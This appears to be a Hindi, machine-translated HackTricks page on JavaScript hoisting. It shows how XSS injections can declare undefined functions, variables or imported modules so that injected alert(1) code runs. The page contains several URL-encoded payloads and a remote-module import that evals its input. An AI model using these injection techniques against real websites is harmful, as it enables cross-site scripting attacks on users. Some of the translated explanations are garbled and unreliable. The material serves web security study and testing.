JS Hoisting

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

JavaScript भाषा में, एक तकनीक जिसे होस्टिंग के रूप में जाना जाता है, जहां चर, फ़ंक्शन, क्लास, या इम्पोर्ट के घोषणाएँ या डिक्लेयरेशन को अपने स्कोप के शीर्ष पर उठाया जाता है पहले कोड को निष्पादित होने से पहले। यह प्रक्रिया जावास्क्रिप्ट इंजन द्वारा स्वचालित रूप से की जाती है, जो स्क्रिप्ट को कई पासों में दौड़ता है।

पहले पास के दौरान, इंजन कोड को पार्स करता है ताकि सिंटेक्स त्रुटियों की जांच कर सके और इसे एक अबस्ट्रैक्ट सिंटेक्स ट्री में रूपांतरित कर सके। इस चरण में होस्टिंग शामिल है, जिसमें कुछ घोषणाएँ निष्पादन संदर्भ के शीर्ष पर ले जाई जाती हैं। यदि पार्सिंग चरण सफल है, जिससे कोई सिंटेक्स त्रुटियां नहीं हैं, तो स्क्रिप्ट निष्पादित होता है।

यह महत्वपूर्ण है कि:

  1. स्क्रिप्ट में निष्पादन होने के लिए सिंटेक्स त्रुटियों से मुक्त होना चाहिए। सिंटेक्स नियमों का पालन सख्ती से किया जाना चाहिए।

  2. स्क्रिप्ट के अंदर कोड की स्थिति होस्टिंग के कारण निष्पादन पर प्रभाव डालती है, हालांकि निष्पादित कोड अपने पाठिकीय प्रतिनिधित्व से भिन्न हो सकता है।

होस्टिंग के प्रकार

MDN से प्राप्त जानकारी के आधार पर, जावास्क्रिप्ट में चार विभिन्न प्रकार का होस्टिंग है:

  1. मान होस्टिंग: एक चर के मान का उपयोग उसकी घोषणा लाइन से पहले ही उसके स्कोप के भीतर किया जा सकता है।

  2. घोषणा होस्टिंग: एक चर को उसकी घोषणा से पहले ही उसके स्कोप के भीतर संदर्भित करने की अनुमति देता है बिना किसी ReferenceError का कारण बनाए, लेकिन चर का मान undefined होगा।

  3. यह प्रकार चर की घोषणा के बाद उसकी वास्तविक घोषणा लाइन के कारण अपने स्कोप में व्यवहार को बदलता है।

  4. घोषणा के प्रभाव कोड के बाकी हिस्से की मूल्यांकन से पहले होते हैं।

विस्तार से, फ़ंक्शन घोषणाएँ प्रकार 1 होस्टिंग व्यवहार प्रदर्शित करती हैं। var कीवर्ड प्रकार 2 व्यवहार दिखाता है। लेक्सिकल घोषणाएँ, जिसमें let, const, और class शामिल हैं, प्रकार 3 व्यवहार दिखाती हैं। अंततः, import वक्तव्य अद्वितीय हैं क्योंकि वे दोनों प्रकार 1 और प्रकार 4 व्यवहार के साथ होस्ट किए जाते हैं।

परिदृश्य

इसलिए अगर आपके पास परिदृश्य हैं जहां आप घोषित नहीं ऑब्जेक्ट के बाद JS कोड इंजेक्ट कर सकते हैं, तो आप सिंटेक्स को ठीक कर सकते हैं इसे घोषित करके (ताकि आपका कोड त्रुटि न फेंके):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

अधिक परिदृश्य

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated